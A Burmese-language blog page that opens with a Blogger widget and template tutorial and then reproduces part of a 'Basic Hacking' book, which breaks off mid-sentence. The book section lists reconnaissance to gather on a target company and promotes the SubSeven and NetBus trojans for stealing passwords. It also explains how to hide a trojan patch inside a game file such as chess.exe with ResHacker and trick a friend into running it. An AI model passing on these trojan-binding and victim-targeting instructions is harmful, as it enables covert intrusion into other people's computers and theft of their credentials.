background:url(http://i117.photobucket.com/albums/o74/zwel/Avril-Lavigne-Photograph-C11800763c.jpg) center no-repeat;
font-family: 'ZawGyi-One', ZawgyiOne, Zawgyi1, Trebuchet MS, Trebuchet, arial, verdana, sans-serif;
}
#cboxdiv{
font-family: 'ZawGyi-One', ZawgyiOne, Zawgyi1, Trebuchet MS, Trebuchet, arial, verdana, sans-serif;
}
Aဲဒါေလးထည့္လိုက္ပါ… Aနီနဲ႕ ျပထားတာကေတာ့ ကိုယ့္ရဲ႕ ပံုပတ္လမ္းေၾကာင္းပါ… ပံုကိုေတာ့ http://www.imageshack.us/
မွာတင္လို႕ရပါတယ္… ျပီးရင္ save လုပ္လို္က္ပါ…
Recent Post
Side Bar တြင္ Add a Page Element ကို Click လုပ္ပါ… HTML/Javascript ေရြးပါ…
<script style="text/javascript" src="http://home.planet.nl/~hansoosting/downloads/showrecentposts2.js"></script><script
style="text/javascript">var numposts = 10;var showpostdate = true;var showpostsummary = true;var numchars = 100;var
standardstyling = true;</script><script src="http://saturngod.blogspot.com/feeds/posts/default?orderby=published&alt=jsonin-
script&callback=showrecentposts"></script>
Aဲဒါေလးကို ထည့္ျပီး save လုပ္လို္က္ပါ… numposts ကေတာ့ ေဖာ္ျပခ်င္တဲ့ post AေရAတြက္ပါ.. numchars ကေတာ့ character
AေရAတြက္ပါ…
Customizable recent comments widget (using JSON feed)
Blog မွာ.. ကၽြန္ေတာ္တို႕ေတြ recent comment ေလးေတြကို side bar မွာ ေဖာ္ျပဖို႕ Aတြက္ပါ…
Template ေAာက္က Edit HTML ကိုသြားပါ…
</head>
ကိုရွာပါ…
Aဲ့ဒီေAာက္တြင္
<script type='text/javascript'
src='http://saturngod.googlepages.com/peek.js' />
Aဲဒါေလး ျဖည့္လိုက္ပါ…
ဒါဆိုရင္
</head>
<script type='text/javascript'
src='http://saturngod.googlepages.com/peek.js' />
ဆိုျပီးျဖစ္သြားပါမယ္..
ျပီးရင္ save လုပ္လိုက္ပါ…
ျပီးရင္ Template ေAာက္က page elements ကိုသြားပါ…
Add a page element ကိုသြားပါ…
HTML / Java Script ကိုေရြးပါ..
<br/><script language="javascript">
var numcomments = 10;
var numchars = 100;
</script>
<script src="http://yourblog.blogspot.com/feeds/comments/default?
alt=json-in-script&callback=commentDisplay"></script>
10 ကေတာ့ blog မွာ ျပ ဖို႕AေရAတြက္နဲ႕ 100 ကေတာ့ comment မွာ Aမ်ားဆံုး ေဖာ္ျပခ်င္တဲ့ စာလုံးAေရAတြက္ပါ..
Peek-a-boo Post (Read More)
Blog မွာ.. ကၽြန္ေတာ္တို႕ေတြ Read More ေလးေတြကို post ေတြမွာ လုပ္ဖို႕Aတြက္ပါ..
(Template ေAာက္က Edit HTML ကိုသြားပါ…
</head>
ကိုရွာပါ…
Aဲ့ဒီေAာက္တြင္
<script type='text/javascript'
src='http://saturngod.googlepages.com/peek.js' />
Aဲဒါေလး ျဖည့္လိုက္ပါ…
ဒါဆိုရင္
</head>
<script type='text/javascript'
src='http://saturngod.googlepages.com/peek.js' /> ) Aထက္က Customizable recent comments widget (using JSON feed)
Aတို္င္းျပင္ထားျခင္း္ျဖစ္သည္ ။ ထည့္ထားျပီးက ထည့္ရန္မလိုပါ..
expand-widget ကို check လုပ္ထားပါ…
id='post' ကိုရွာပါ…
ျပီးလွ်င္ ေAာက္က Aတိုင္းျပင္လိုက္ပါ… Aနီေရာင္နဲ႕ စာမ်ားသည္ မူရင္း code ကိုထပ္ျဖည့္ထားျခင္းမ်ားျဖစ္သည္.. က်န္ code မ်ားသည္ မူရင္း
code ျဖစ္သည္…
<b:includable id='post' var='post'>
<div class='post uncustomized-post-template' expr:id='"post-" + data:post.id'>
<a expr:name='data:post.id'/>
<b:if cond='data:post.title'>
<h3 class='post-title'>
<b:if cond='data:post.url'>
<a expr:href='data:post.url'><data:post.title/></a>
<b:else/>
<data:post.title/>
</b:if>
</h3>
</b:if>
<div class='post-header-line-1'/>
<div class='post-body'>
<b:if cond='data:blog.pageType == "item"'>
<p><data:post.body/></p>
<b:else/>
<style>#fullpost {display:none;}</style>
<p><data:post.body/></p>
<span id='showlink'>
<p><a href='javascript:void(0);' expr:onclick='"javascript:showFull(\"post-" + data:post.id + "\");"'>Read
More...</a></p>
</span>
<span id='hidelink' style='display:none'>
<p><a href='javascript:void(0);' expr:onclick='"javascript:hideFull(\"post-" + data:post.id + "\");"'>Summary
only...</a></p>
</span>
<script type='text/javascript'>
checkFull("post-" + "<data:post.id/>");
</script>
</b:if>
<div style='clear: both;'/> <!-- clear for photos floats -->
</div>
ျပီးပါက save လုပ္လိုက္ပါ..
Setting ေAာက္က Formatting ကို သြားပါ… ေAာက္နားတြင္ Post Template ဆိုေသာ text box ေလးေတြ႕ရပါမယ္..
Type your summary here
<span id="fullpost">
Type rest of the post here
</span>
Aဲဒီစာေလးကို copy/paste လုပ္လိုက္ပါ… ျပီးရင္ save လုပ္လိုက္ပါ…
Post Aတြက္ compose လုပ္ေသာAခါမွာ… Aက်U္းကို Type your summary here တြင္ Aစားထိုးျပီး… က်န္ေသာ စာမ်ားကို Type rest of
the post here တြင္ ထည့္ပါ….
Example:
Aက်U္းAားျဖင့့္
<span id="fullpost">
ဒါကေတာ့ Aျပည့္Aစုံ post ေလးေပါ့…
</span>
Aရင္က တင္ထားေသာ post မ်ားကိုေတာ့ သြားျပီး effect ျဖစ္မွာမဟုတ္ပါဘူး.. Aခုမွ စတင္ေသာ post မ်ားကိုသာ စတင္ effect ျဖစ္မွာပါ…
Appendix
FAQ
၁. Blog မွာ သီခ်င္းေတြ ထည့္ဖို႕ ဘယ္မွာ flash player ရႏိုင္သလဲ။
http://www.myflashfetish.com မွာ mp3 player လုိ႕ေျပာင္းလိုက္ျပီး… ႏွစ္သက္ရာ Design နဲ႕ ရယူႏိုင္ပါတယ္… သီခ်င္းေတြကိုေတာ့
webhosting တစ္ခုမွာ တင္ထားဖို႕လိုပါတယ္..
၂. WebHosting ေတြ ဘယ္လိုရႏိုင္သလဲ။
http://pages.google.com မွာ eot Aတြက္ Aျပင္ File ေတြကို direct Aေနနဲ႕ သံုးႏိုင္ပါတယ္… www.awardspace.com ,
www.freewebtown.com တို႕ကလည္း freewebhosting ေတြပါ…
၃. File Sharing ေပးခ်င္ရင္ webhosting နဲ႕ေပးသင့္လား။
ေပးလို႕ရပါတယ္… ဒါေပမယ့္ file sharing Aတြက္ဆိုရင္ www.mediafire.com တို႕လို file hosting ကေန ေပးရင္ပိုေကာင္းပါတယ္…
ဘာျဖစ္လို႕လည္းဆို register လုပ္စရာမလိုပဲ… file ကို တင္လို႕ရလို႕ပါတယ္…
၄. Zawgyi-one သြင္းလို႕မရဘူး… computer သံုးရတာ user lever Aဆင့္ပဲ၇ိွတယ္… ဘာမွ လုပ္ပိုင္ခြင့္မရိွရင္ စာဘယ္လိုရိုက္မလဲ ။
မပူပါနဲ႕… စာ၇ိုက္ဖို႕Aတြက္ zawgyi-one web text editor ရိွပါတယ္… http://www.mysteryzillion.com/project/webtext/ ကို IE
နဲ႕ Aသံုးျပဳျပီး စာရိုက္ႏိုင္ပါတယ္…
၅. Blog မွာတိုက္ရုိက္စာရိုက္ရင္ စာမေပၚဘူး… notepad ကေနမွ ေပၚတယ္.. တိုက္ရိုက္သံုးခ်င္တယ္။
Browser တစ္ခုလံုးကို Zawgyi-one ေျပာင္းလိုက္ရင္ ရပါတယ္..
IE မွာဆိုရင္
Aရင္ဆံုး notepad ဖြင့္
body
{
font-family:Zawgyi-one;
}
input, select , textarea
{
font-family:Zawgyi-one;
}
ဆိုျပီးရိုက္လိုက္ပါ.... ျပီးရင္ notepad မွာရိုက္ျပီ... D:\ie.css နဲ႕သိမ္းလိုက္....
ျပီးေတာ့ IE ကိုဖြင့္...
Tool -> Folder option -> Accessibility ကို ႏိွပ္ပါ...
Ignore Font Style specified...pages ကို check လုပ္ပါ...
Format documents using my style sheet ကို check လုပ္ပါ..
Browse လုပ္လိုက္ပါ...
D:\ie.css ကိုေရြးလိုက္ပါ...
ျပီးရင္ OK လုပ္လိုက္ပါ... OK ထပ္လုပ္ပါ..
ကဲရပါျပီ... ျမန္မာလို... IE တစ္ခုလံုး ေဇာ္ဂ်ီ font ျဖစ္သြားပါျပီ...
Firefox မွာဆိုရင္
Firefox ကိုဖြင့္....
Tool-> Content ကို ၀င္လိုက္ပါ..
Font And Color တြင္ Advanced ကို၀င္ပါ...
Font ေတြကို Zawgyi-one လုိ႕ေျပာင္းလိုက္ပါ...
Font Size ကိုလည္း သင့္ေတာ္ရာျပင္လိုက္ပါ....
UTF-8 ကိုသံုးပါ...
ျပီးရင္ OK OK ေပါ့...
ကဲရပါျပီ... ျမန္မာလို... Firefox တစ္ခုလံုး ေဇာ္ဂ်ီ font ျဖစ္သြားပါျပီ...
Aဲဒါဆိုရင္ blogger မွာလည္း တုိက္ရိုက္ေရးလို႕ရပါျပီ..
၆. နာရီထည့္ခ်င္ရင္ေကာ ဘယ္ကေန ယူရမလဲ။
http://www.clocklink.com/ မွာရႏိုင္ပါတယ္…
၇. တျခားဟာ ထူးထူးဆန္းဆန္းေလးေတြ sidebar မွာထည့္ခ်င္ရင္ ဘယ္ကယူရမလဲ။ ေနာက္ျပီး Gtalk ကိုလည္းထည့္ခ်င္တယ္။
Site ေတြကေတာ့ Aမ်ားၾကီးပါ… http://www.google.com/ig/directory?synd=open&cat=all မွာေတာ့ ေတာ္ေတာ္စံုပါတယ္..
google က ေပးထားတာပါ.. Gtalk ကိုလည္း Aဲဒီမွာ code ယူျပီးထည့္လို႕ရပါတယ္..
http://www.thefreedictionary.com/ ကလည္း ရႏိုင္ပါတယ္..
၈. Blogger ကေပးထားတဲ့ design မဟုတ္ပဲ တျခား design နဲ႕ Three Column ထည့္ခ်င္ရင္ ဘယ္လိုလုပ္ရမလဲ။
http://hoctro.blogspot.com/search/label/Free%20Templates မွာ Three column ေတြရႏိုင္ပါတယ္…
http://www.templatepanic.com/ မွာလည္း ရႏိုင္ပါတယ္…
http://myanmarbloggers.forum5.com/index.php မွာလည္း သြားေရာက္ေမးျမန္းႏိုင္ပါေသးတယ္..
၉. Dropdown menu လုပ္ခ်င္ရင္ ဘယ္လိုလုပ္ရမလဲ။
http://www.anniyalogam.com/widgets/dropdown.html မွာသြားလုပ္ႏိုင္ပါတယ္...
Useful Link
Blog Hack
http://beautifulbeta.blogspot.com/
http://hackosphere.blogspot.com/
Myanmar Blog Directory
http://mmblogdirectory.blogspot.com/
Myanmar Blogger Forum
http://www.myanmarbloggers.co.nr/
Myanmar Blogger
သိသေလာက္ ၾကားဘူးနား၀ ေပါ့.. Aကုန္ေတာ့္ ကၽြန္ေတာ္လည္း သိဘူး.. ေတာ္ေတာ္ေလးကို မ်ားတယ္… ကိုမင္းေက်ာ္ blog မွာဆို
blog Aတြက္ လိုAပ္တာေတြကို ၾကည့္ရႈႏိုင္ပါတယ္..
Oosoo http://www.tartarlay.blogspot.com/
Tesla http://teslanetblog.blogspot.com/
ကိုစစ္Aိမ္ http://sisain.blogspot.com/
ကိုစိုးေဇယ် http://www.soezeya.blogspot.com/
ကိုဆန္းUီး http://www.sannoo.blogspot.com/
ကိုညီလင္းဆက္ http://nyilynnseck.blogspot.com/
ကိုမင္းေက်ာ္ http://kminnkyaw.blogspot.com/
ကိုမိုးတိမ္ http://shwemoetain.blogspot.com/
ကိုမ်က္လံုး http://www.myatlone.blogspot.com/
ကိုပြတ္ http://myanmaroa6.blogspot.com/
ကိုရန္ေAာင္ http://www.yanaung.blogspot.com/
ကိုသန္႕ဇင္ http://mgthantzin.blogspot.com/
ကိုေမာင္လွ http://mghla.blogspot.com/
ကိုေ၀ၿဖိဳးေက်ာ္ http://edwardwitten.blogspot.com/
ကေဒါင္းညင္သာ http://kadaung.blogspot.com/
ညေလး http://www.ainmetdiary.blogspot.com/
မယ္လိုဒီေမာင္ http://melodymaungmm.blogspot.com/
Aစ္မသUၨာ http://thinzar00.blogspot.com/
Aိမြန္စိုး http://www.ems-dailydiary.blogspot.com/
ေမာင္Uေပကၡာ http://mgequanimity.blogspot.com/
ေက်းဇူးတင္လ်က္
Saturngod

Monday, May 6, 2013

အေျခခံ Hacking နည္းပညာစာအုပ္ ။

အေျခခံ Hacking နည္းပညာစာအပ္ မာတိကာ
Introduction: ဟက္ကာဆိုတာဘာလဲ ႏွင့္ ကြ်ႏ္ုပ္၏ အျမင္
အပိုင္း (၁) : လိုအပ္ေသာအရည္အျခင္းမ်ား
အပိုင္း (၂) : Hacker တို႔၏ လွ်ိဳ႕၀ွက္ခ်က္မ်ား
……….Intro
……….Trojan Horse ဟုေခၚေသာ virus အေၾကာင္း
…………ဟက္ကာေတအြ သုံးျပဳေသာ လွ်ိဳ႕၀ွက္ အရာမ်ား
………..Port Scanning
………..SubSeven
……….NetBus
အပိုင္း (၃) : Gmail Password Hack နည္း
…………..Phishing အေၾကာင္း Intro
အပိုင္း (၄) : Phishing နည္းလမ္းကိုအသံုးျပဳ၍ gmail password ေဖာက္နည္း
အပိုင္း (၅) : Windows ကို၀င္ေမႊနည္း တိုလီမုတ္စမ်ား
………. Registry သို့၀င္ေရာက္ေမႊေႏွာက္ျခင္း
……… Folder ကို software မသံုးပဲ lock ခ်နည္း ႏွင့္ Funny Command ေရးနည္း
……… Cmd Dos Command နည္းနည္းပါးပါး
……… Folder Background ကို software မသံုးပဲ ပံုလွလွေလးထည့္နည္း
……… website ေတြ႕ရဲ႕ IP ကုိခ်က္ခ်င္းသိခ်င္တယ္ဆိုရင္
စာေရးသူ (မစၥတာ.ေမာင္ဘစ္ေန)
(18-9-2009 ~ 30-9-2009)
ဟက္ကာဆိုတာဘာလဲ ??? ကြ်ႏ္ုပ္၏အျမင္ ။
Hacking ပညာရပ္ဆိုသည္ သင္ယူလို႔ရေသာ ပညာမဟုတ္။ အသံုးခ် နည္းပညာမ်ားကို ေလ့လာေတြ႔ရွိျပီး
အားနည္းခ်က္ကို ရွာေဖြႏိုင္ေသာ ပညာျဖစ္သည္။ Online ေပၚတြင္ Hacking နဲ႔ပတ္သတ္ေသာ
စာအုပ္မ်ားစြာကိုေတြ႕ဘူးျပီး Hacking ႏွင့္ပတ္သတ္ေသာ web site မ်ားလဲ ေပၚထြက္ေနပါျပီ။ Vulnerability
ေပါင္းမ်ားစြာကို hacker ဟုေခၚေသာ လူစုမ်ားက ရွာေဖြေတြ႔ရွိျပီး web site ေပါင္းမ်ားစြာတြင္ တင္ထားၾကပါတယ္။ အဲဒီ
နည္းပညာရပ္ေတြကို အသံုးျပဳ မွီခို ေနတဲ့လူေတြအမ်ားႀကီးရွိပါတယ္။ ဒါေတြက ဟက္ကာေတြလားဆိုတဲ့
ေမးခြန္းေမးႏိုင္ပါတယ္။
Tool user ေတြပါ၊ professional hacker တစ္ေယာက္ဆိုတာ ပါရမီအရင္းခံျပီး ကြန္ပ်ဴတာ နည္းပညာ
ကိုရူးသြပ္တဲ့ လူတစ္ေယာက္ရဲ႕IT ပိုင္းဆိုင္ရာေပ်ာ့ကြက္ကို ရွာေတြ႔ႏိုင္ျခင္းျဖစ္ပါတယ္။ White, black, gray လို႔ေခၚတဲ့
hacker သံုးမ်ိဳးခြဲထားပါတယ္။ နဲ႔ black ကေတာ့ ရန္သူေတြေပါ့။ အမ်ားစုက gray ေတြပါ။
ဒါဆို က်ေနာ္ေရးထားတဲ့ စာအုပ္ကေကာ၊ ဖတ္ျပီး hacker တစ္ေယာက္ျဖစ္ႏိုင္ပါ့မလား
လို႔ေမးႏိုင္စရာအေၾကာင္းရွိပါတယ္။ က်ေနာ္ကိုယ္တိုင္ေတာင္မွ ဟက္ကာမဟုတ္တာဗ်။ :D ။ က်ေနာ္သိတာေလးေတကြ ို
share လုပ္ေပးခ်င္တဲ့ရည္ရြယ္ခ်က္ကို အဓိကထားတာပါ။
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၁) လိုအပ္ေသာ အရည္အျခင္းမ်ား
hacking လုပ္သည့္ေနရာတြင္ တစ္ဦးတစ္ေယာက္လုပ္ျခင္းထက္ အ မ်ားႏွင့္
ပူေပါင္းျပီး လုပ္လွ်င္ ပုိျပီး အ က်ဳိးရွိသည္။ ထုိ႕ေၾကာင့္ Ethical hacking တြင္ Hacker
မ်ားစုဖြဲ႕ျပီး TEAM တစ္ခုအ ေနျဖင့္ လုပ္ေဆာင္ရသည္။ ၎တုိ႕သည္ အ ခ်ိန္တုိင္း မိမိ
ကုိင္တြယ္ရေသာ System အား လုိအ ပ္ခ်က္မ်ားကုိရွာေဖြျပင္ဆင္ရသည္။
တုိက္ခုိက္ျခင္းမ်ဳိးစုံ ရွိသည့္အ တြက္ အ ားလုံးကုိသိရွိရန္မွာမျဖစ္ႏူိင္ေပ။မိမိhacking
အ ဖြဲ႕တြင္ လုပ္ကုိင္ေသာသူမ်ားသည္ ေအာက္ေဖာ္ျပပါ ပညာရပ္မ်ားကုိ တစ္ဦး
တစ္ေယာက္ျခင္း အ ေသအ ခ်ာတတ္ေျမာက္ရန္လုိအပ္သည္။
· Programming
· Webdeveloping
· Software Crackers
· Web Hackers
· Network security groups
· system admin groups
· database Hackers
· crytoanalizer
၎ပညာရပ္မ်ား အားလုံးကုိ သိရွိရန္ မလုိေပ။ သုိ႕ေသာ္ general knowledge
သိရွိရမည္။ မိမိ Hacker အဖြဲ႕တြင္ လူတစ္ေယာက္စီ ပညာတစ္ခုစီကုိ
ေသေသခ်ာခ်ာတတ္ေျမာက္ရန္လိုအပ္သည္။
Hacker တစ္ေယာက္ေအာင္ျမင္စြာျပဳလုပ္ႏုိင္ရန္အတြက္လုိအပ္ခ်က္မ်ားစြာရွိသည္။
မိမိ ၀င္ေရာက္လုိေသာ ေနရာ၏ data အျပည့္အစုံကုိသိရွိေအာင္ အရင္ဆုံးျပဳလုပ္ရမည္။
IP address
မိမိ၀င္ေရာက္ရမည့္ Computer ၏ address
Hostname
မိမိ ၀င္ေရာက္ရမည့္ Computer ၏ နာမည္
Software
၎ Computer တြင္အသုံးျပဳေသာ Software မ်ား
Firewall rules
Network ၏ လုံျခဳံေရးအတြက္အသုံးျပဳထားသည္မ်ား
Phone Numbers
ဖုန္းနံပါတ္
Employee names
အလုပ္သမားမ်ား ၏ အေၾကာင္းအရာမ်ား
မိမိတုိ႕သိလုိေသာ အခ်က္မ်ားစြာကုိ Internet မွ မ်ားစြာအကူအညီေပးႏုိင္သည္။
သင ္hacking လုပ္လုိေသာ ေနရာ၏ data ၆၀% ကုိ internet မွရွာႏုိင္ပါသည္။
၎၏ company ႏွင့္ပတ္သက္ေသာ ဖုန္းနံပါတ္ ၊ IP address ၊ Firewall ၊ အလုပ္သမား
ဦးေရ ၊ company စတင္တည္ေထာင္ေသာေန႕ ၊ company ၏ ပုိင္ရွင္ အမည္မ်ား ၊
company ခ်ိတ္ဆက္ထားေသာ တျခားNetwork မ်ား၊ company ၏ထုတ္ ကုန္မ်ားစသည့္
သတင္းအခ်က္အလက္မ်ားကုိအက်ဳိးရွိရွိ အသုံးခ်ရမည္ျဖစ္သည္။
hacking ျပဳလုပ္ရန္အတြက္အသုံးျပဳေသာ Tools မ်ား
1. Google (အေၾကာင္းအရာမ်ားစြာကုိ ရွာႏုိင္သည္။)
2. Google Earth (Network ခ်ိတ္ဆက္ျခင္းမ်ားကုိ ၾကည့္ရႈရန္)
3. Nmap (IP addres မ်ားကုိၾကည့္ရႈရန္)
4. John The Ripper (Password မ်ားကုိေက်ာ္ႏုိင္ရန္)
5. Lan Guard (မိမိ၏ Network ကုိ ေစာင့္ၾကည့္ရန္)
6. Pwdump 6 (Password မ်ားကုိခ်ိန္းရန္)
7. Firebug (website မ်ားမွျပင္ၿပီး server ထဲသို႕၀င္ရန္)
8. Java ( Mysql ကုိျပင္ဆင္ရန္)
9. putty (တျခား Computer ထဲသုိ႕ ၀င္ေရာက္ရန္)
၎ တုိ႕ျဖင့္စတင္စမ္းသပ္ အသုံးျပဳၾကျပီး မိမိတုိ႕၏ ဥာဏ္ရည္ဥာဏ္ေသြးအရ
ဆက္လက္အေကာင္အထည္ေဖာ္ၾကည့္သင့္သည္။Tools မ်ား၏ အလုပ္လုပ္ပုံကုိ ေသခ်ာ နား
လည္မွသာ အသုံးျပဳႏုိင္မည္ျဖစ္သည္။Tools မ်ား၏ အားနည္းခ်က္မ်ားကုိ သိထားရမည္ ျဖစ္
သည္။ Tools မ်ားကုိသုံးလွ်င္ ၎တုိ႕၏ သုံးစြဲပုံ အေၾကာင္းကုိ ေသခ်ာဖတ္ၾကည့္ရမည္။
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၂) Hacker တို႔၏ လွ်ိဳ႕၀ွက္ခ်က္မ်ား…
Intro
Trojan Horse
Hacking ရဲ႕အဓိက တရားခံလို႔ေျပာႏိုင္တာကေတာ့ Trojan ဆိုတဲ့ virus ေၾကာင့္ပါ။
အင္တာနက္ဆိုင္ေတြမွာ ေတြ႔ရတတ္တယ္ ။ USB Stick ေတြကို virus scan လုပ္လိုက္ရင္
ေတာ္ေတာ္မ်ားမ်ားေတြ႔ရတဲ့ virus တစ္မ်ိဳးေလ။ Trojan, Trojan နဲ႔ လူသိေတာ္ေတာ္မ်ားပါတယ္။
က်ေနာ္ေလ့လာလို႔သိရတာေတာ့ ကြန္ပ်ဴတာရဲ႕ အခ်က္အလက္ေတြ၊ password ေတြအခိုးခံရတာဟာ အဲဒီ
Trojan ေတြေၾကာင့္လို႔ သံသယျဖစ္မယ္ဆိုရင္ မမွားႏိုင္ပါဘူး။ Trojan ဆိုတာ program ေသးေသးေလးပါ။
အဲဒီ program ေလးက ကြန္ပ်ဴတာတစ္ခု ထဲမွာ ၀င္ေရာက္ေနရာယူကာ hacker ဆီသို႕ ၄င္းကြန္ပ်ဴတာ၏
information မ်ားကို သတင္းေပးႏိုင္ေသာ Program တစ္ခုပါ။ ၄င္း Trojan ျဖင့္ ကြန္ပ်ဴတာမ်ားကို
ထိန္းခ်ဳပ္ႏိုင္ပါသည္။
Trojan မ်ား၏ အမ်ားအားျဖင့္ လုပ္ေဆာင္ႏိုင္ေသာ အစြမ္းသတိၱမ်ားကို ေအာက္တြင္ေဖၚျပထားပါသည္။
.CD-Rom drive မ်ားကို အဖြင့္၊ အပိတ္ control လုပ္ႏိုင္ျခင္း
.သင္၏ ကြန္ပ်ဴတာမွ screenshot ကို capture လုပ္ႏိုင္ျခင္း
.သင္၏ password မ်ား ( Windows, MSN, Gmail, Yahoo,….အစသျဖင့္) ကို hacker ဆီသို႔ သတင္းပို႔ေပးႏိုင္ျခင္း
.သင္၏ hard disk ထဲမွ file မ်ားကို လိုသလို ကူးယူႏိုင္ျခင္း၊ delete လုပ္ႏိုင္ျခင္း
.Keyboard ႏွင့္ mouse ကို Disable လုပ္ႏိုင္ျခင္း……အစသျဖင့္
Popular ျဖစ္ေနေသာ Trojan မ်ား
-NetBus
-SubSeven
NetBus Trojan မွာ အျခား Trojan မ်ားကဲ့သို႕ အေရးႀကီးတဲ့ အစိတ္အပိုင္း ၂ ပိုင္း ရွိပါတယ္။ NetBus Server.exe ရယ္
Patch.exe ရယ္ဆို တဲ့ exe file ၂ ခု ပါ၀င္ပါတယ္။ NetBus Server ကို သင္၏ ကြန္ပ်ဴတာထဲသို႔ အရင္ဆံုး install
လုပ္ရန္လိုပါသည္။ Patch file ကို သင္ hack ခ်င္ေသာ ကြန္ပ်ဴတာထဲသို႔ သြင္းႏိုင္ရန္ အဓိက လိုအပ္ပါသည္။
ဥပမာ- သင္ hack ခ်င္ေသာ ကြန္ပ်ဴတာ ပိုင္ရွင္၏ information ကိုအရင္ဆံုးစံုစမ္းသင့္ပါသည္။ သင္သည္
မိတ္ေဆြ သူငယ္ခ်င္းဆို လွ်င္ပို၍ အဆင္ေျပပါသည္။ ေရွးဦးစြာ သူ ၏ email သို႔ ပို႔၍ run
ခိုင္းျခင္းအားျဖင့္လဲ ရႏိုင္ပါသည္။ ဒါမွမဟုတ္ သူ႔အား ဂိမ္းလက္ေဆာင္ေပးသလိုလိုျဖင့္ ၄င္းဂိမ္းထဲတြင္
Patch file ကို သြင္းေပးလိုက္ပါ။ chess.exe file ဆိုပါစို႕။ ၄င္း exe file ထဲသို႔ Patch သြင္းလိုက္ပါ။
ResHacker software ျဖင့္ ဖန္တီးႏိုင္ပါသည္။ ထို႔ေနာက္ သင္ဖန္တီးလိုက္ေသာ chess.exe ဟာ
သာမန္အတိုင္းပါပဲ။ ဘာမွမေျပာင္းလဲသြားပါဘူး။ အဲဒီ ဟာကို install လုပ္လိုက္လွ်င္ ဂိမ္းဟာ သူ႔
orginal အတိုင္းပါပဲ။ ဘာမွ ျပႆနာမေပးႏိုင္ပါဘူး။ သင္ေပးလိုက္တဲ့ chess ထဲက patch file
ေလးက သင္ hack ခ်င္ေသာ ကြန္ပ်ဴတာထဲတြင္ ေနရာယူျပီးသားျဖစ္ပါတယ္။ အဲဒီ file ကလဲ hidden
ျဖစ္ေနတာပါ။ အဲဒါဆို အဆင္ေျပသြားပါလိမ့္မယ္။ စ hack က်တာေပါ့။…..:D ။
ဟက္ကာေတြ အသံုးျပဳေသာ လွ်ိဳ႔၀ွက္ အရာမ်ား
(၁) Port Scanners
Port Scanner ဆိုတာဘာလ ဲ
Port Scanning ရဲ႕ အဓိက ရည္ရြယ္ခ်က္ကေတာ့ opening port ေတြကို ရွာဖို႕ျဖစ္ပါတယ္။ Hacker တစ္ေယာက္
အတြက္ အေျခခံက်တဲ့ နည္းတစ္ခုပါ။ opening port ေတြကိုသိမွ hack လို႔လြယ္မွာကိုး….။Hacker အေနနဲ႔ server ေပၚ
မွာလုပ္ေနတဲ့ service ေတြကို ၾကည့္ျခင္းအားျဖင့္ vulnerability ေတြကို ရွာႏိုင္ဖို႔ အခြင့္အလန္းပိုမ်ားလာမွာပါ။
နာမည္ႀကီးတဲ့ nmap port scan tool ကိုေဒါင္းလုတ္ခ်ဖို႔ link ပါ > http://nmap.org/download.html <
Online ေပၚမွာအျခားport scanner tool ေကာင္းေကာင္းေတြအမ်ားႀကီးရွိပါေသးတယ္….။
Start Scanning
Target Host: www.yourcompany.com
TCP Port :7 (echo)
TCP Port :9 (discard)
TCP Port :13 (daytime)
TCP Port :19 (chargen)
TCP Port :21 (ftp)
TCP Port :23 (telnet)
TCP Port :25 (smtp)
TCP Port :37 (time)
TCP Port :53 (domain)
TCP Port :79 (finger)
TCP Port :80 (www)
TCP Port :110 (pop)
TCP Port :111 (sunrp)
Port Scanning ကို ၂ မ်ိဳးလုပ္ႏိုင္ပါတယ္။ ပထမတစ္ခုက Single IP port ဖြင့္ရန္အတြက္ႏွင့္ ဒုတိယတစ္ခုကို Range IP
Port ဖြင့္ရန္ျဖစ္ပါတယ္။ IP ဆိုတာက ေရွ႕ကဟာကတူျပီး အေနာက္က နံပါတ္ကေျပာင္းလဲသြားႏိုင္ပါတယ္။
ဥပမာ 192.168.1.2 , 192.168.1.3 အစသျဖင့္ေပါ့။ ဖုန္းနံပါတ္အတိုင္းပါပဲ (530-xxx) အစသျဖင့္……….
Range IP ဆိုတာက ေတာ့ ( 555-0000 to 555-9999) အထိ ၾကားထဲက မည္သည့္ဂဏန္းမဆို ျဖစ္ႏိုင္ပါတယ္။
Port Scanner ဆိုတာ ဒီလုိမ်ိဳးေပါ့
(၂) Trojan
Trojan အေၾကာင္းကေတာ့ Hacking မွာ မပါ မျဖစ္ကိုေတြ႔ရမွာပါ။ ဘာလို႔လဲဆိုေတာ့ Trojan ေတြက
ဟက္ကာေတြရဲ႕လက္စ ြဲ virus တစ္မ်ိဳးမို႔လို႔ပါ။ Trojan ေပါင္း တစ္ရာေက်ာ္နီးပါရိွပါတယ္။ အဲဒီထဲက
စံုတြဲ သေဘာလိုျဖစ္ေနေသာ Trojan အေၾကာင္း ဥပမာ အေနႏွင့္ေဖၚျပထားပါတယ္။ အဲဒီ Trojan ျဖင့္
က်ေနာ္ အခုလက္ရွိေမႊေနတယ္ေလ…..
Sub Seven
Sub Seven Trojan မွာ လုပ္ေဆာင္ႏိုင္တဲ့ စြမ္းရည္ အမ်ားအျပားရွိပါတယ္။ ၄င္း Trojan ဟာ က်ေနာ္ေတြ႔ဖူးသမွ်
Trojan ၁၀၀ေက်ာ္ေလာက္ထဲက အေကာင္းဆံုး လို႔ ယူဆပါတယ္။ ၄င္းရဲ႕လုပ္ေဆာင္ႏိုင္တဲ့စြမ္းရည္ေတြကို
ေအာက္မွာေဖၚျပထားပါတယ္။
SubSeven ဆိုတာ ဒီလိုမ်ိဳးပါ
လုပ္ေဆာင္ႏိုင္မွဳမ်ား
-address book
-www pager retriever
-UNI2IP
-remote IP scanner
-host lookup
-get WINDOWS CD-Key
-update victim from URL
-ICQ takeover
-FTP root folder
-retrieve dial-up passwords along with phone numbers and username
-port redirect
-IRC boot for a list of commands
-file manager bookmarks
-make folder, delete folder (Empty of Full)
-process manager
-text 2 speech
-Restart server
-Aol Instant Messenger Spy
-Yahoo Messenger Spy
-Microsoft Messenger Spy
-Retrieve list of ICQ uins and passwords
-App Redirect
-Edit files
- set/change screen saver settings
-Restart Windows
-IP Tools (Resolved Host name/ Ping IP address)
-Address
-City
-E-Mail
-Real name
-Country code
-Local Phone
-Zip code………….အစသျဖင့္ေပါ့…….. အျခားလုပ္ေဆာင္ႏိုင္မႈမ်ားစြာရွိပါေသးတယ္….။
NetBus
Net Bus ဆိုတာကေတာ့ ဟိုးအရင္တုန္းက သံုးခဲ့တဲ့ Trojan အေဟာင္းတစ္မ်ိဳးပါ။ ဒါေပမဲ့ ေတာ္ေတာ္
